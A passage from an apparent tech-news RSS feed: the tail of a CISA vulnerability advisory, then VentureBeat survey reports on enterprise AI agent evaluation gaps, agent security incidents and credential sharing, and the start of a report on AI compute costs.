<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total 